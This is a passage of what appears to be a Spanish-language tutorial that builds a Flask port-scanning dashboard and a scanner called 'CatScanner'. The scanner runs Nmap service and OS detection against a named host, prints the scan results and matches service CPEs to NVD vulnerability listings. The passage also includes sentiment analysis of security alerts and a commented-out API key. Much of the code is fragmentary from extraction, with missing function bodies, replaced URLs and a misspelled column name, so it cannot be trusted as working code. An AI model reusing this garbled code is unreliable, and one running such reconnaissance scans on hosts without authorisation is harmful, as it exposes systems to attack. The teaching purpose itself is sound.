funcionó.... porque Shocat no es un imperio... ni un escáner galáctico...Es algo pequeño, curioso, con alma
de aprendiz, un mini explorador que revisa puertos como gato que olfatea bolsas de supermercado y que de
vez en cuando parece decirme... tranquilo, padawan… aquí el puerto 22 huele a aventura.
Simple, tierno, medio chistoso y perfecto para lo que es... un ejemplo básico, un primer paso, una
herramienta mínima para aprender, un proyecto que no quiere impresionar a nadie...solo funcionar.
shocat/
│── [Link]
│── [Link]
├── templates/
└── static/
376
Este fue simplemente es el orden inicial, para que Flask sepa dónde encontrar las vistas y más adelante, los
archivos estáticos.
In [23]:
import os
from pathlib import Path
root = Path("shocat")
● IP
● Fecha
● Puertos
● Sistemas operativos
● Ciudad
● País
In [93]:
import sqlite3
from pathlib import Path
377
pais TEXT
)
""")
Aquí Shocat toma forma como aplicación web con una interfaz simple que responde a las acciones del
usuario. Además, conectaremos Nmap para poder escanear puertos y detectar servicios y para que todo
salga bien, configuraremos la ruta a [Link] para Windows.
In [94]:
app_code = r"""
import nmap
import sqlite3
import json
import requests
from flask import Flask, render_template, request, jsonify
from datetime import datetime
DB_PATH = "[Link]"
# ---------------------------------------
# DB FUNCTIONS
# ---------------------------------------
def get_db():
conn = [Link](DB_PATH)
conn.row_factory = [Link]
return conn
378
INSERT INTO hosts (ip, fecha, puertos, sistemas_operativos, ciudad, pais)
VALUES (?, ?, ?, ?, ?, ?)
''', (
ip,
[Link]().strftime("%Y-%m-%d %H:%M:%S"),
[Link](puertos),
[Link](os_list),
ciudad,
pais
))
[Link]()
[Link]()
# ---------------------------------------
# GEOLOC
# ---------------------------------------
def geolocalizar(ip):
try:
data = [Link](f"[Link]
return [Link]("city", "Desconocido"), [Link]("country", "Desconocido")
except:
return "Desconocido", "Desconocido"
# ---------------------------------------
# HOME
# ---------------------------------------
@[Link]("/")
def home():
return render_template("[Link]")
# ---------------------------------------
# ESCANEO CON GUARDADO AUTOMÁTICO
# ---------------------------------------
@[Link]("/scan")
def api_scan():
ip = [Link]("ip")
if not ip:
return jsonify({"error": "Debe enviar ?ip="}), 400
try:
nm = [Link](nmap_search_path=[r"C:\\Program Files
(x86)\\Nmap\\[Link]"])
except Exception as e:
return jsonify({"error": f"No se pudo iniciar Nmap: {e}"}), 500
try:
[Link](hosts=ip, arguments="-sV -O -T4")
except Exception as e:
return jsonify({"error": f"Error ejecutando Nmap: {e}"}), 500
379
data = []
# OS
if "osmatch" in nm[host]:
for os in nm[host]["osmatch"]:
host_info["os"].append({
"nombre": os["name"],
"precision": os["accuracy"] + "%",
"tipo": [Link]("osclass", [{}])[0].get("type", "desconocido")
})
else:
host_info["os"].append({"nombre": "No detectado", "precision": "0%",
"tipo": "desconocido"})
# PUERTOS
for proto in nm[host].all_protocols():
for port in nm[host][proto]:
s = nm[host][proto][port]
host_info["puertos"].append({
"puerto": port,
"protocolo": proto,
"estado": s["state"],
"nombre_servicio": [Link]("name", ""),
"version": [Link]("version", ""),
"producto": [Link]("product", "")
})
# GUARDAR EN DB
ciudad, pais = geolocalizar(host_info["ip"])
guardar_en_historial(
host_info["ip"],
host_info["puertos"],
host_info["os"],
ciudad,
pais
)
[Link](host_info)
return jsonify({
"fecha": [Link]().strftime("%Y-%m-%d %H:%M:%S"),
"data": data
})
# ---------------------------------------
# HISTORIAL
# ---------------------------------------
@[Link]("/history")
380
def api_history():
ip = [Link]("ip")
if not ip:
return jsonify({"error": "Debe enviar ?ip="}), 400
conn = get_db()
c = [Link]()
[Link]("SELECT * FROM hosts WHERE ip = ? ORDER BY fecha DESC", (ip,))
rows = [Link]()
[Link]()
historial = []
for r in rows:
[Link]({
"ip": r["ip"],
"fecha": r["fecha"],
"puertos": [Link](r["puertos"]),
"sistemas_operativos": [Link](r["sistemas_operativos"]),
"ciudad": r["ciudad"],
"pais": r["pais"]
})
return jsonify(historial)
# ---------------------------------------
# BUSCADOR
# ---------------------------------------
@[Link]("/search")
def api_search():
q = [Link]("q")
if not q:
return jsonify({"error": "Debe enviar ?q="}), 400
pattern = f"%{q}%"
conn = get_db()
c = [Link]()
[Link]('''
SELECT * FROM hosts
WHERE ip LIKE ?
OR puertos LIKE ?
OR sistemas_operitivos LIKE ?
OR ciudad LIKE ?
OR pais LIKE ?
ORDER BY fecha DESC
''', (pattern, pattern, pattern, pattern, pattern))
rows = [Link]()
[Link]()
resultado = [{
381
"ip": r["ip"],
"fecha": r["fecha"],
"ciudad": r["ciudad"],
"pais": r["pais"]
} for r in rows]
return jsonify(resultado)
if __name__ == "__main__":
[Link](debug=True, port=5000)
"""
Dashboard [Link]
Después crearemos una página sencilla para interactuar con el sistema con un formulario básico y un
espacio para mostrar resultados.
In [33]:
index_html = r"""
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8" />
<title>Shocat Sentinel</title>
<style>
/* Fallback rápido si [Link] falla al cargar */
body { background:#0d0d0d; color:#00ffcc; }
</style>
</head>
<body>
<h1>SHOCAT SENTINEL</h1>
382
<!-- Buscador -->
<div class="search-bar">
<input type="text" id="ipFilter" placeholder="Ingresa una IP, rango o búsqueda">
<button onclick="loadScan()">Escanear</button>
<button onclick="loadHistory()">Historial</button>
<button onclick="loadSearch()">Buscar</button>
</div>
</body>
</html>
"""
Javascript
Después haremos un archivo [Link], donde implementaremos las funciones loadScan(), loadHistory() y
loadSearch(),las peticiones AJAX hacia Flask, la actualización del mapa, la construcción de tarjetas de
resultados y la geolocalización de IPs con un servicio externo.
In [67]:
main_js = r"""
// -------------------------------------------
// Inicializar mapa
// -------------------------------------------
let map;
function initMap() {
map = [Link]('map').setView([20, 0], 2);
[Link]('[Link] {
maxZoom: 19
}).addTo(map);
383
}
// -------------------------------------------
// Aux: geolocalizar IP
// -------------------------------------------
if ([Link]) {
return {
lat: [Link],
lon: [Link],
city: [Link],
country: [Link]
};
}
} catch (e) {}
return {
lat: [Link]()*140 - 70,
lon: [Link]()*360 - 180,
city: "Desconocido",
country: "Desconocido"
};
}
// -------------------------------------------
// ESCANEAR
// -------------------------------------------
renderResults([Link]);
}
// -------------------------------------------
// HISTORIAL
// -------------------------------------------
384
renderResults(data);
}
// -------------------------------------------
// BUSQUEDA GENERAL
// -------------------------------------------
renderResults(data);
}
// -------------------------------------------
// Renderizar resultados
// -------------------------------------------
[Link](l => {
if (l instanceof [Link] || l instanceof [Link])
[Link](l);
});
// Tarjeta en HTML
const card = [Link]("div");
385
[Link] = "result-card";
[Link] = `
<div class="ip-address">${[Link]}</div>
<div class="small-text">Última vista: ${[Link]}</div>
<div class="small-text">Ubicación: ${[Link]}, ${[Link]}</div>
[Link](card);
}
}
CSS
Luego escribiremos el [Link] para darle más personalidad al HTML con colores oscuros, acentos verdes,
tarjetas para mostrar resultados, un mapa con borde neón, una barra de búsqueda estilizada.
In [35]:
css_code = r"""
/* ============================
ESTILOS NEON SHOCAT
============================ */
386
body {
background-color: #0d0d0d;
color: #00ffcc;
font-family: 'Courier New', monospace;
margin: 0;
padding: 0;
}
/* Logo */
#logo {
position: fixed;
top: 15px;
left: 8px;
z-index: 1000;
}
#logo img {
width: 85px;
filter: drop-shadow(0 0 10px #00ffcc);
transition: transform 0.3s ease;
cursor: pointer;
}
#logo img:hover {
transform: scale(1.1);
filter: drop-shadow(0 0 15px #ff00ff);
}
/* Título principal */
h1 {
font-family: 'Orbitron', sans-serif;
font-size: 2.8em;
text-align: center;
color: #ff4dd2;
text-shadow:
0 0 15px #ff4dd2,
0 0 30px #ff00aa,
0 0 40px #ff4dd2;
}
@keyframes neonGlow {
387
0%, 100% {
text-shadow:
0 0 15px #ff4dd2,
0 0 30px #ff00aa,
0 0 40px #ff4dd2,
0 0 50px #ff00aa;
}
50% {
text-shadow:
0 0 20px #ff00aa,
0 0 35px #ff4dd2,
0 0 50px #ff00aa,
0 0 60px #ff4dd2;
}
}
@keyframes gradientShift {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}
/* Buscador */
.search-bar {
display: flex;
justify-content: center;
margin: 20px auto;
gap: 10px;
}
.search-bar input,
.search-bar button {
padding: 12px;
border: none;
outline: none;
font-family: 'Courier New', monospace;
font-size: 1em;
border-radius: 5px;
}
.search-bar input {
width: 320px;
background: #1a1a1a;
color: #00ffcc;
border: 1px solid #00ffcc;
}
.search-bar button {
background: #ff00ff;
color: #fff;
cursor: pointer;
transition: background 0.3s;
388
}
.search-bar button:hover {
background: #cc00cc;
}
/* Mapa */
#map {
height: 55vh;
width: 90%;
margin: 0 auto;
border: 2px solid #00ffcc;
box-shadow: 0 0 20px #00ffcc;
border-radius: 10px;
}
/* Resultados */
#results {
padding: 20px 10%;
margin-top: 20px;
}
.result-card {
background: #1a1a1a;
border: 1px solid #00ffcc;
border-radius: 8px;
padding: 20px;
margin: 15px 0;
box-shadow: 0 0 15px #00ffcc;
transition: box-shadow 0.3s;
}
.result-card:hover {
box-shadow: 0 0 25px #ff00ff;
}
.ip-address {
color: #ff00ff;
font-weight: bold;
font-size: 1.3em;
}
.section-title {
color: #00ffff;
margin-top: 10px;
font-weight: bold;
font-size: 1.1em;
}
.small-text {
color: #99ffcc;
389
font-size: 0.9em;
}
/* Responsive */
@media (max-width: 768px) {
#logo img {
width: 60px;
}
#map {
width: 95%;
}
#results {
padding: 10px 5%;
}
.search-bar {
flex-direction: column;
align-items: center;
}
.search-bar input {
width: 90%;
}
}
"""
In [95]:
!cd shocat && flask --app [Link] run --host=[Link] --port=5000
^C
390
[Link] - - [01/Dec/2025 22:55:03] "GET /static/[Link] HTTP/1.1" 304 -
[Link] - - [01/Dec/2025 22:58:52] "GET /scan?ip=[Link] HTTP/1.1" 200 -
In [96]:
import sqlite3
import json
conn = [Link]("shocat/[Link]")
c = [Link]()
[Link]("SELECT ip, fecha, ciudad, pais FROM hosts ORDER BY id DESC LIMIT 5")
rows = [Link]()
for r in rows:
print(r)
391
[Link]()
El análisis de sentimiento nos ayuda justamente a leer esa capa oculta o tras más.. No para reemplazar a
nadie, ni para decidir por encima de un humano, sino como una forma de entender mejor el contexto
emocional detrás de un mensaje o una alerta.
La idea de trabajar este tema es simple, entender el tono de lo que se escribe para apoyar mejores
decisiones, priorizar incidentes y cuidar al equipo tanto como cuidamos la infraestructura.
In [99]:
!pip install nltk
!pip install numpy
!pip install sentiment-analysis-spanish
392
Antes de mirar el código, este ejercicio toma comentarios simples sobre un incidente de ciberseguridad y los
pasa por un modelo de sentimiento en español. Esto te permite ver si la comunidad está preocupada,
calmada o enojada, usando solo lenguaje.
In [102]:
from sentiment_analysis_spanish import sentiment_analysis
import warnings
[Link]("ignore", category=UserWarning)
sentiment = sentiment_analysis.SentimentAnalysisSpanish()
comentarios = [
"Qué rabia, otra filtración de datos… esto ya es ridículo.",
"Tranquilo, parece que ya lo solucionaron.",
"Estoy preocupado, esto podría afectar a mi trabajo.",
"Me da igual, nunca uso ese servicio.",
"Buena noticia que lo hayan controlado tan rápido."
]
for c in comentarios:
print(c, " --->", [Link](c))
Interpretación rápida:
In [103]:
def interpretar(score):
if score < 0.1:
return "negativo"
elif score < 0.25:
return "neutral/ligero positivo"
else:
return "positivo"
for c in comentarios:
score = [Link](c)
print(c, "-->", score, "-->", interpretar(score))
393
Qué rabia, otra filtración de datos… esto ya es ridículo. --> 0.0004889512716387087 -->
negativo
Tranquilo, parece que ya lo solucionaron. --> 0.009008810721301932 --> negativo
Estoy preocupado, esto podría afectar a mi trabajo. --> 0.06957750125641439 -->
negativo
Me da igual, nunca uso ese servicio. --> 0.00731889452723936 --> negativo
Buena noticia que lo hayan controlado tan rápido. --> 0.1435436724592762 -->
neutral/ligero positivo
In [105]:
from sentiment_analysis_spanish import sentiment_analysis
import numpy as np
import time
sent = sentiment_analysis.SentimentAnalysisSpanish()
def clasificar(score):
if score < 0.15:
return "negativo"
elif score < 0.35:
return "neutral"
return "positivo"
394
for comentario in flujo:
score = [Link](comentario)
etiqueta = clasificar(score)
[Link](score)
if len(buffer) > ventana:
[Link](0)
promedio = [Link](buffer)
print(f"Comentario: {comentario}")
print(f" [+] Score: {score:.3f} ({etiqueta})")
print(f" [*] Promedio últimos {len(buffer)} comentarios: {promedio:.3f}")
395
[X] ALERTA: posible incidente por aumento de negatividad colectiva.
Las alertas que suenan más graves producen tonos más negativos... el modelo no entiende ciberseguridad,
pero sí quizás se podría entrenar para algo mejor.
In [106]:
from sentiment_analysis_spanish import sentiment_analysis
import numpy as np
sent = sentiment_analysis.SentimentAnalysisSpanish()
soc_alerts = [
"Multiple failed login attempts detected from unknown IP.",
"Suspicious outbound traffic detected from internal host.",
"Critical malware activity observed on workstation.",
"User executed a potentially harmful PowerShell command.",
"Normal operation restored after temporary service disruption.",
"Unusual authentication pattern but no threat confirmed.",
"Ransomware-like behavior detected, escalating to incident response.",
"System stable, no anomalies detected.",
"Unauthorized database access attempt prevented.",
"High CPU usage suggests possible cryptomining attempt."
]
def label(score):
if score < 0.10:
return "critical"
elif score < 0.25:
return "warning"
396
else:
return "normal"
In [107]:
from sentiment_analysis_spanish import sentiment_analysis
import json
397
sentiment = sentiment_analysis.SentimentAnalysisSpanish()
escaneo_falso = [Link]("""
{
"[Link]": [
{"puerto": 22, "estado": "open", "descripcion": "Servicio SSH expuesto"},
{"puerto": 80, "estado": "open", "descripcion": "Servidor web operativo"},
{"puerto": 23, "estado": "open", "descripcion": "Puerto Telnet inseguro
detectado"}
]
}
""")
IP: [Link]
[+] puerto 22 -> Servicio SSH expuesto (0.46182577159344207)
[+] puerto 80 -> Servidor web operativo (0.250159791910837)
[+] puerto 23 -> Puerto Telnet inseguro detectado (0.7512095065712907)
Episodio V - CatScanner
En este episodio sigo armando el Catscanner y antes de llegar, al escaneo completo con Nmap y la
correlación con vulnerabilidades del NVD, necesitaba dejar lista una función simple... algo que me permita
ver de dónde proviene una IP y en qué lugar del mundo está registrada. Es un detalle pequeño, pero sirve
bastante cuando después empezamos a unir piezas del análisis.
Desde mi Jupyter Notebook, mi pequeña nave portátil donde mezclo texto y código... dejo esta función que
consulta la API de [Link] y muestra datos básicos de ubicación.... Otto, como siempre, aparece en estos
momentos como ese maestro felino que observa en silencio.... y Tom, en cambio, se fue a dormir al sillón… y
espero que no lo rasque después como castigo por no haberme levantado temprano para servirle su comida.
getinfoCountry()
In [113]:
import requests
import json
def getinfoCountry(ip):
r = [Link]("[Link]
print ("[*] Realizando Búsqueda Pais: "+ip)
print ("")
if r.status_code == 200:
data = [Link]([Link])
print ("[*] País: " +data['country'])
print ("[*] Ciudad: " +data['city'])
398
print ("[*] Region: " +data['country'])
print ("[*] Org: " +data['org'])
print ("[*] Lat: " +str(data['lat']))
print ("[*] Lon: " +str(data['lon']))
print ("")
La función hace exactamente lo que necesitamos por ahora... tomar una IP, consultarla y mostrar
información. Más adelante, cuando el Catscanner empiece a cruzar resultados de puertos, servicios, banners
y vulnerabilidades, este contexto geográfico se va a volver útil. Por ahora es solo otra pieza dentro del
Notebook, dejada aquí para integrarla pronto en el flujo principal del escáner.
Antes de seguir ampliando el Catscanner, necesitaba resolver un dominio para obtener su IP real. Nada muy
glamoroso, pero es parte del camino: si la idea es que más adelante el escáner tome hosts, los recorra y los
compare con resultados de Nmap y vulnerabilidades del NVD, entonces partir por algo tan simple como
traducir un nombre de dominio a una IP tiene sentido.
In [115]:
import socket
dest_name = '[Link]' # lugar que se quiere escanear
dest_addr = [Link](dest_name) # hostname a IP
getinfoCountry(dest_addr) # busca de donde es esa IP
La idea es sencilla... primero defino el dominio que quiero consultar, luego gethostbyname() se encarga de
resolverlo y finalmente paso esa IP a la función getinfoCountry() que dejé antes. Con eso tengo la ubicación
del servidor antes de avanzar al resto del análisis.
No es todavía el escáner completo, pero es una pieza más dentro del Notebook. Poco a poco el Catscanner
empieza a armarse, y cada bloque que dejo aquí termina conectándose con lo que viene en las próximas
celdas del episodio.
Con la IP ya resuelta, es hora de pasar al siguiente paso dentro del Catscanner: un escaneo de servicios.
Todavía no estamos haciendo nada complejo ni cruzando resultados con vulnerabilidades del NVD, pero este
399
bloque es clave. El objetivo es simple: obtener la lista de puertos abiertos y los servicios expuestos, porque
sin eso el análisis posterior no tiene mucho sentido.
Nmap
En mi Jupyter Notebook dejé esta celda preparada. Nmap la conozco bien, pero siempre que lo ejecuto
desde Python me acuerdo de las veces en que Otto se sentaba a mirar cómo corrían los paquetes como si
fueran pequeñas luces viajando. Tom, en cambio, sigue durmiendo en el sillón. Espero que el sillón
sobreviva.
In [116]:
import nmap # usamos nmap
nmScan = [Link](nmap_search_path=[r"C:\\Program Files
(x86)\\Nmap\\[Link]"]) # conectamos a nmap
[Link](dest_addr, '21-443','-sV --min-parallelism 20 --max-parallelism 50 ') #
datos del portscan
Out[116]:
{'nmap': {'command_line': '"C:\\\\\\\\Program Files (x86)\\\\\\\\Nmap\\\\\\\\[Link]"
-oX - -p 21-443 -sV --min-parallelism 20 --max-parallelism 50 [Link]',
'scaninfo': {'tcp': {'method': 'syn', 'services': '21-443'}},
'scanstats': {'timestr': 'Tue Dec 2 20:11:42 2025',
'elapsed': '178.08',
'uphosts': '1',
'downhosts': '0',
'totalhosts': '1'}},
'scan': {'[Link]': {'hostnames': [{'name': '[Link]',
'type': 'PTR'}],
'addresses': {'ipv4': '[Link]'},
'vendor': {},
'status': {'state': 'up', 'reason': 'reset'},
'tcp': {21: {'state': 'open',
'reason': 'syn-ack',
'name': 'ftp',
'product': '',
'version': '',
'extrainfo': '',
'conf': '3',
'cpe': ''},
22: {'state': 'open',
'reason': 'syn-ack',
'name': 'ssh',
'product': 'OpenSSH',
'version': '7.4',
'extrainfo': 'protocol 2.0',
'conf': '10',
'cpe': 'cpe:/a:openbsd:openssh:7.4'},
25: {'state': 'open',
'reason': 'syn-ack',
400
'name': 'smtp',
'product': 'Postfix smtpd',
'version': '',
'extrainfo': '',
'conf': '10',
'cpe': 'cpe:/a:postfix:postfix'},
70: {'state': 'closed',
'reason': 'reset',
'name': 'gopher',
'product': '',
'version': '',
'extrainfo': '',
'conf': '3',
'cpe': ''},
80: {'state': 'open',
'reason': 'syn-ack',
'name': 'http',
'product': 'Apache httpd',
'version': '2.4.6',
'extrainfo': '',
'conf': '10',
'cpe': 'cpe:/a:apache:http_server:2.4.6'},
113: {'state': 'closed',
'reason': 'reset',
'name': 'ident',
'product': '',
'version': '',
'extrainfo': '',
'conf': '3',
'cpe': ''},
443: {'state': 'open',
'reason': 'syn-ack',
'name': 'http',
'product': 'Apache httpd',
'version': '2.4.6',
'extrainfo': '',
'conf': '10',
'cpe': 'cpe:/a:apache:http_server:2.4.6'}}}}}
● Importa la librería que nos permite hablar con Nmap desde Python.
● Crea un PortScanner, apuntando explícitamente al ejecutable de Nmap en Windows.
● Ejecuta un escaneo de puertos entre el 21 y el 443, con detección de versiones (-sV) y un nivel de
paralelismo que ayuda a que el escaneo termine más rápido.
La salida de esta celda es la base para lo que viene después... interpretar resultados, identificar servicios y
finalmente cruzarlos con las vulnerabilidades del NVD. El Catscanner todavía está en fase de ensamblaje,
pero ya empieza a tomar forma de algo útil dentro del Notebook.
401
In [117]:
nmScan.command_line() # sirve para ver en comando que lanzó nmap
Out[117]:
'"C:\\\\\\\\Program Files (x86)\\\\\\\\Nmap\\\\\\\\[Link]" -oX - -p 21-443 -sV
--min-parallelism 20 --max-parallelism 50 [Link]'
In [118]:
[Link]() # información del escaneo
Out[118]:
{'tcp': {'method': 'syn', 'services': '21-443'}}
In [119]:
nmScan[dest_addr].state() # estado de la máquina usando la variable dest_addr usada
al inicio
Out[119]:
'up'
In [120]:
nmScan[dest_addr]['tcp'].keys() # puertos a la escucha
Out[120]:
dict_keys([21, 22, 25, 70, 80, 113, 443])
Después de lanzar el escaneo con Nmap, viene la parte un poco más mecánica... recorrer los resultados. No
es la parte más glamorosa, pero es necesaria si quiero saber qué puertos están abiertos, qué servicios se
identificaron y qué CPE reportó Nmap, porque esa información después va directa al módulo donde
cruzamos todo con vulnerabilidades del NVD.
Aquí dejo la celda que escribí en el Notebook para imprimir de forma simple lo que encontró el escáner:
In [121]:
for host in nmScan.all_hosts():
print('Host : %s (%s)' % (host, nmScan[host].hostname()))
print('State : %s' % nmScan[host].state())
for proto in nmScan[host].all_protocols():
print('----------')
print('Protocol : %s' % proto)
lport = nmScan[host][proto].keys()
for port in lport:
print('port : %s\tstate : %s\tCPE : %s' % (port,
nmScan[host][proto][port]['state'],nmScan[host][proto][port]['cpe']))
402
Protocol : tcp
port : 21 state : openCPE :
port : 22 state : openCPE : cpe:/a:openbsd:openssh:7.4
port : 25 state : openCPE : cpe:/a:postfix:postfix
port : 70 state : closed CPE :
port : 80 state : openCPE : cpe:/a:apache:http_server:2.4.6
port : 113 state : closed CPE :
port : 443 state : openCPE : cpe:/a:apache:http_server:2.4.6
El CPE es importante. porque después es lo que nos permitirá unir esto con las vulnerabilidades de la
NVD.... Aquí todavía solo lo mostramos, pero más adelante vamos a guardarlo y procesarlo para convertir el
Catscanner en algo que realmente detecte riesgos
prepare_cpe(cpe)
Dentro de este episodio tuve que detenerme un momento para corregir la función que transforma los CPE
entregados por Nmap al formato correcto que exige la API 2.0 de la NVD. Nmap usa el formato antiguo ....
ese cpe:/a:... y la NVD ahora solo acepta el formato 2.3, más largo y con los trece campos obligatorios.
Así que dejé esta función en una celda del Notebook. Es simple, pero resuelve justo lo que el Catscanner
necesita, toma el CPE viejo y lo convierte en uno válido para la consulta.
Otto estaría orgulloso de este tipo de orden..... Tom, mientras tanto, sigue durmiendo en el sillón como si
nada de esto fuera urgente… aunque igual abre un ojo cada cierto rato.
In [135]:
def prepare_cpe(cpe):
if not cpe or cpe == "":
return 0
if [Link]("cpe:/"):
# ejemplo cpe:/a:apache:http_server:2.4.49
parts = [Link]("cpe:/", "").split(":")
# ['a', 'apache', 'http_server', '2.4.49']
403
# construir base mínima de CPE 2.3
base = "cpe:2.3:" + ":".join(parts)
if fields_needed > 0:
base += ":" + ":".join(["*"] * fields_needed)
return base
return 0
La lógica es directa:
Con esta corrección.... el módulo de vulnerabilidades ya puede recibir CPE válidos sin que la API los
rechace. Es una de esas piezas pequeñas que sostienen todo lo que viene después en el Catscanner.
Como parte de esos términos, la NVD te pide respetar el límite de uso: hasta 50 solicitudes cada 30
segundos cuando tienes tu token.
Así que dejé esta función simple en el Notebook para asegurar que el Catscanner no se pase del límite y que
todo siga funcionando bien. No es nada glamoroso, pero sí necesario.
In [142]:
# control simple de rate-limit
REQUEST_COUNT = 0
WINDOW_START = [Link]()
def respect_rate_limit():
global REQUEST_COUNT, WINDOW_START
404
now = [Link]()
REQUEST_COUNT += 1
La idea es que cada vez que el Catscanner quiera pedir datos a la NVD, esta función se ejecute antes y
decida si puede hacerlo altiro o si tiene que esperar un momento para no violar los términos del servicio.
getCPE()
Con el módulo del rate-limit listo, lo siguiente que dejé en el Notebook fue la función que consulta
directamente la NVD. Es la parte que toma el CPE ya preparado, construye los parámetros de búsqueda y
envía la petición usando el token personal de la NVD. Este token es obligatorio....aunque gratuito.... porque
la API ya no admite consultas anónimas como antes.
La idea de esta función es simple, si tengo un CPE válido, pregunto a la NVD por las vulnerabilidades
asociadas. Y si la respuesta es correcta, devuelvo el contenido para que otra función lo interprete. Nada más,
pero es justamente la pieza que convierte un escáner de puertos normal en algo que realmente puede
mostrar riesgos.
In [137]:
import requests
import json
import time
API_KEY = "TU_API_KEY_AQUI"
#API_KEY = "bf0eb49a-e5e7-4bde-bb25-bc0a39e674a3"
def getCPE(cpe, limit=10):
cpe = prepare_cpe(cpe)
if cpe == 0:
return False
respect_rate_limit()
405
params = {
"cpeName": cpe,
"resultsPerPage": limit
}
headers = {
"apiKey": API_KEY,
"User-Agent": "Catscanner/1.0 Python 3 - Educations"
}
if r.status_code == 200:
return [Link]
else:
print("Error:", r.status_code, [Link])
return False
Con esto, la búsqueda de vulnerabilidades queda completamente integrada al Catscanner y lista para ser
usada en el loop principal del episodio.
parser_response()
Una vez que la API comenzó a responder bien con los CPE en formato 2.3.... faltaba dejar un módulo que
pudiera leer esas vulnerabilidades sin caerse. La API 2.0 trae datos un poco desordenados a veces, algunas
vulnerabilidades vienen completas, otras incompletas, unas traen CVSSv3.1, otras CVSSv2, y otras
simplemente no traen nada.
Así que en esta celda del Notebook dejé una función que toma la respuesta en crudo y la imprime de manera
clara, sin romper el flujo del Catscanner. Es una función robusta, pero a la vez simple: no intenta hacer
magia, solo ordena la información que tiene delante.
In [140]:
def parser_response(content):
data = [Link](content)
406
for vuln in [Link]("vulnerabilities", []):
cve = vuln["cve"]
# =========================
# CVSS v3.1
# =========================
if "cvssMetricV31" in metrics:
cvss = metrics["cvssMetricV31"][0]["cvssData"]
print("\tCVSS v3.1 Severity:", [Link]("baseSeverity", "N/A"))
print("\tScore:", [Link]("baseScore", "N/A"))
print("\tVector:", [Link]("vectorString", "N/A"))
continue
# =========================
# CVSS v3.0
# =========================
if "cvssMetricV30" in metrics:
cvss = metrics["cvssMetricV30"][0]["cvssData"]
print("\tCVSS v3.0 Severity:", [Link]("baseSeverity", "N/A"))
print("\tScore:", [Link]("baseScore", "N/A"))
print("\tVector:", [Link]("vectorString", "N/A"))
continue
# =========================
# CVSS v2 (con variaciones)
# =========================
if "cvssMetricV2" in metrics:
cvss = metrics["cvssMetricV2"][0]
# =========================
# No CVSS available
# =========================
print("\tRisk is not defined")
407
Esta función ya está lista para soportar cualquier cosa que devuelva la NVD. Con esto el Catscanner puede
procesar vulnerabilidades reales, tanto de servicios modernos como de versiones antiguas que todavía
aparecen aquí y allá.
Print()
Después de dejar lista la función que prepara los CPE, la consulta a la NVD con su API Key y el parser que
interpreta todos los formatos de CVSS sin romperse..... era momento de unir todas las piezas del Catscanner
en un solo bloque. Esta celda del Notebook es literalmente el corazón del escáner: recorre cada host, revisa
protocolos, mira qué puertos están abiertos, toma el CPE correspondiente y, si todo calza, consulta la NVD
para traer vulnerabilidades reales.
In [141]:
for host in nmScan.all_hosts():
print('[*] Host : %s (%s)' % (host, nmScan[host].hostname()))
print('[*] State : %s' % nmScan[host].state())
for proto in nmScan[host].all_protocols():
print('----------- CatScanner -----------')
print('[*] Protocol : %s' % proto)
lport = nmScan[host][proto].keys()
for port in lport:
if nmScan[host][proto][port]['state'] == "open":
cpe = nmScan[host][proto][port]['cpe']
print('port : %s\tstate : %s\tCPE : %s' % (port,
nmScan[host][proto][port]['state'],nmScan[host][proto][port]['cpe']))
resp = getCPE(cpe,10)
#print(resp)
if resp:
parser_response(resp)
URL: [Link]
Date: 2007-05-21T20:30:00.000
Description: OpenSSH, when using OPIE (One-Time Passwords in Everything) for PAM,
allows remote attackers to determine the existence of certain user accounts, which
displays a different response if the user account exists and is configured to use
one-time passwords (OTP), a similar issue to CVE-2007-2243.
CVSS v2 Severity: N/A
Score: 4.3
408
URL: [Link]
Date: 2008-08-27T20:41:00.000
Description: Certain Red Hat Enterprise Linux (RHEL) 4 and 5 packages for
OpenSSH, as signed in August 2008 using a legitimate Red Hat GPG key, contain an
externally introduced modification (Trojan Horse) that allows the package authors to
have an unknown impact. NOTE: since the malicious packages were not distributed from
any official Red Hat sources, the scope of this issue is restricted to users who may
have obtained these packages through unofficial distribution points. As of 20080827,
no unofficial distributions of this software are known.
CVSS v2 Severity: N/A
Score: 9.3
URL: [Link]
Date: 2017-10-26T03:29:00.220
Description: The process_open function in sftp-server.c in OpenSSH before 7.6
does not properly prevent write operations in readonly mode, which allows attackers to
create zero-length files.
CVSS v3.1 Severity: MEDIUM
Score: 5.3
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
URL: [Link]
Date: 2018-08-17T19:29:00.223
Description: OpenSSH through 7.7 is prone to a user enumeration vulnerability due
to not delaying bailout for an invalid authenticating user until after the packet
containing the request has been fully parsed, related to auth2-gss.c,
auth2-hostbased.c, and auth2-pubkey.c.
CVSS v3.1 Severity: MEDIUM
Score: 5.3
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
URL: [Link]
Date: 2018-08-28T08:29:00.207
Description: Remotely observable behaviour in auth-gss2.c in OpenSSH through 7.8
could be used by remote attackers to detect existence of users on a target system when
GSS2 is in use. NOTE: the discoverer states 'We understand that the OpenSSH developers
do not want to treat such a username enumeration (or "oracle") as a vulnerability.'
CVSS v3.0 Severity: MEDIUM
Score: 5.3
Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
URL: [Link]
Date: 2019-01-10T21:29:00.377
Description: In OpenSSH 7.9, scp.c in the scp client allows remote SSH servers to
bypass intended access restrictions via the filename of . or an empty filename. The
impact is modifying the permissions of the target directory on the client side.
CVSS v3.1 Severity: MEDIUM
Score: 5.3
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
URL: [Link]
Date: 2019-01-31T18:29:00.710
409
Description: An issue was discovered in OpenSSH 7.9. Due to missing character
encoding in the progress display, a malicious server (or Man-in-The-Middle attacker)
can employ crafted object names to manipulate the client output, e.g., by using ANSI
control codes to hide additional files being transferred. This affects
refresh_progress_meter() in progressmeter.c.
CVSS v3.1 Severity: MEDIUM
Score: 6.8
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
.
.
.
.
.
.
.
...
CatScanner 2.0
Cuando armamos el primer CatScanner… lo hicimos casi jugando... una mezcla rara entre curiosidad,
ganas… y ese momento en que uno se pregunta ¿y si lo llevo un poco más lejos?... Y bueno… aquí estamos
con él CatScanner 2.0.... más ordenado… más elegante… y con un dashboard un poco más sexy... pero del
tipo sexy técnico, no de esos que te tiran gráficos solo para verse bonitos... en este dashboard, todo lo que
brilla… brilla por una razón.
